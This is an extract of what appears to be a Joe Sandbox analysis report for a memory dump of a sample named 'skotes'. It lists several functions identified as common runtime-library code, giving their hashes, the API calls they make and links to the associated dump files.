Instruction ID: 57ae0494bbd6444fff0388ad0cf08bac02a3b33c3e55385a5b5c5b6f6e005c59
Opcode Fuzzy Hash: 24d673b66a66276f5080a35aca0fc6f32a53eab12d73b3187e68684a6794cf0c
Instruction Fuzzy Hash: E481AD72D0025ABADF219FA5C881AEE7BB7DF09714F19C159F801BB281D7318C418BE0

Function 0062504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00625115
___AdjustPointer.LIBCMT ref: 00625138
___AdjustPointer.LIBCMT ref: 006251D4

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 74bc016717344492191be51c566e0defacda95f3f4416a97a91034fd727ec415
Instruction ID: d52c7b98d017ae3dfd769d947d36d19ef42ff3f0f782f6e927d96f90747dbabc
Opcode Fuzzy Hash: 74bc016717344492191be51c566e0defacda95f3f4416a97a91034fd727ec415
Instruction Fuzzy Hash: 9251C171A01E26AFEB399F14E849BBA73A7EF10300F14452DE8038B295E731AD51CF91

Function 00624C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00624C66
TypeidsEqual.LIBVCRUNTIME ref: 00624C8B
PMDtoOffset.LIBCMT ref: 00624CA1
PMDtoOffset.LIBCMT ref: 00624D22

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 8ff0b57b19701b412e35e2d6b2f503fb932ba25e42015cf3da2e684f3fafa985
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: 4D51BE35A04A299FCF11CF68E4806EEBBF6EF15354F14489AE850AB351DB32AD05CF50

Function 005F2EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 005F2F5F
GetCurrentThreadId.KERNEL32 ref: 005F2F7E
__Mtx_unlock.LIBCPMT ref: 005F2FCC
__Cnd_broadcast.LIBCPMT ref: 005F2FE3

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: c117a3c25967ab01dffcc246aba91fdd1a4b7e366ce272f6220d3995805e50aa
Instruction ID: 900d0413aae704b4b9c2c9a5f671cc4379f21c910fcad1d282ca48a3c14e1a2a
Opcode Fuzzy Hash: c117a3c25967ab01dffcc246aba91fdd1a4b7e366ce272f6220d3995805e50aa
Instruction Fuzzy Hash: 0C41C0B19416099FDB24DF64C945B6BBBE8FF15320F00462EE916D7680EB39EA04CB81

Function 0061DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0061DB64

Part of subcall function 00618F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00618F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0061DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0061DBE9
Concurrency::location::_Assign.LIBCMT ref: 0061DC56

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 7acac8ed17f9f2dcda07771ba82c71dad02885608905c88110fffeca0344bc4d
Instruction ID: f617feeb3c855923a1c59e82c27582a81435b2d0fda7c313e0eff99e820cbf16
Opcode Fuzzy Hash: 7acac8ed17f9f2dcda07771ba82c71dad02885608905c88110fffeca0344bc4d
Instruction Fuzzy Hash: 3941F274604210ABDF199B24C896BFEBB7BAF45310F08459DE5069B3C2CB70AD85C7D1

Function 006156AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 006156F2
_InternalDeleteHelper.LIBCONCRT ref: 00615726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 0061578B
SafeRWList.LIBCONCRT ref: 0061579A

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 8c8749ca3b41e84eb270efca07e564e75a4bd754ba0a05c76abcecac3d77b673
Instruction ID: db43b28c4b834c49468e0f2d8f6eb35d2f6d990a1b1d66799cf3bc4c634adf10
Opcode Fuzzy Hash: 8c8749ca3b41e84eb270efca07e564e75a4bd754ba0a05c76abcecac3d77b673
Instruction Fuzzy Hash: 80312336701610CFDB059F20C886AEEB3A7AFC9710F184279E90A9B395DF70AD458790

Function 00612CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

